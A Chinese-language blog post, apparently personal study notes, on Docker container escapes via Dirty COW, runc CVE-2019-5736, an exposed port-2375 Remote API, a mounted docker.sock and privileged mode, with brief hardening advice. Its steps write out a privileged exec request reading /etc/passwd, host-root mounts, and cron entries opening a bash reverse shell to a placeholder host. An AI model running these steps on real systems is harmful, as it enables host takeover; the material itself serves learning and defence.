抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

对网上容器安全特别是Docker安全做一些总结。主要是学习容器逃逸这一方向。

内核漏洞:Dirty COW漏洞逃逸

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。
竞争条件意为任务执行顺序异常,可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限。VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。
在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。

容器服务缺陷:CVE-2019-5736漏洞逃逸

1、漏洞原理:
Docker、containerd或者其他基于runc的容器在运行时存在安全漏洞,攻击者可以通过特定的容器镜像或者exec操作获取到宿主机runc执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。

(Go脚本)[https://github.com/Frichetten/CVE-2019-5736-PoC]

配置不当引发的docker逃逸

docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、Python、调用API来操作Docker。

通过命令dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375即可在公网访问docker

  1. 漏洞利用
    • 列出所有容器,得到id字段http://x.x.x.x:2375/containers/json
    • 创建一个exec
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      POST /containers/<container_id>/exec HTTP/1.1 
      Host: <docker_host>:PORT
      Content-Type: application/json
      Content-Length: 188
      {
      "AttachStdin": true,
      "AttachStdout": true,
      "AttachStderr": true,
      "Cmd": ["cat", "/etc/passwd"],
      "DetachKeys": "ctrl-p,ctrl-q",
      "Privileged": true,
      "Tty": true
      }```
  • 使用burp模拟post请求发包,得到返回的id参数
  • 启动exec,成功执行系统命令,读取到passwd文件
    /exec//start HTTP/1.1
    1
    2
    3
    4
    5
    6
    7
    8
    Host: <docker_host>:PORT
    Content-Type: application/json

    {
    "Detach": false,
    "Tty": false
    }

  • 在容器内部安装Docker作为client
  • 查看宿主机docker镜像信息docker -H tcp://x.x.x.x:2375 images
  • 启动一个容器并将宿主机根目录挂在到容器的user目录docker -H tcp://x.x.x.x:2375 run -it -v /:/user container_id /bin/bash
  • 写计划任务反弹shellecho '* * * * * bash -i >& /dev/tcp/x.x.x.x/8877 0>&1' >> /user/var/spool/cron/root
  • 获取宿主机shell

docker.sock挂载到容器内部

简介

Docker采用C/S架构(docker为client,docker daemon为server)

宿主机与docker通信方式有以下三种:

  1. unix:///var/run/docker.sock
  2. tcp://host:port
  3. fd://socketfd

默认通信方式为docker.sock,需要挂载/var/run/docker.sock文件

注:能够访问docker socket或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令,以root权限运行的Docker服务可以访问整个主机系统。

漏洞利用

  1. 运行一个挂载/var/run/的容器docker run -it -v /var/run/:/host/var/run/container_id /bin/bash
  2. 寻找下挂载的sock文件find / -name docker.sock
  3. 在容器内安装Docker作为clientapt-get install docker
  4. 查看宿主机docker信息docker -H unix:///host/var/run/docker.socker info
  5. 运行一个新容器并挂载宿主机根路径docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash
  6. 在新容器/user路径下完成对宿主机资源的访问
  7. 写入计划任务文件,反弹shellecho '* * * * * bash -i >& /dev/tcp/x.x.x.x/9988 0>&1' >> /user/var/spool/cron/root
  8. 成功接收到宿主机反弹的shellnc -lvp 9988

特权模式

允许容器内的root拥有外部物理机root权限。

使用特权模式启动容器,可以获取大量文件访问权限,执行docker run --privileged时,docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

如何保证生产环境中容器的安全?

  1. 对docker宿主机进行安全加固
  2. 限制容器之间的网络流量--icc=false
  3. 配置docker deamon守护程序的TSL身份验证(Docker程序不能暴露在公网端口)
  4. 启动用户命名空间支持
  5. 限制容器的内存使用量(创建时添加参数-m
  6. 适当设置容器CPU优先级(防止资源耗尽)

img

评论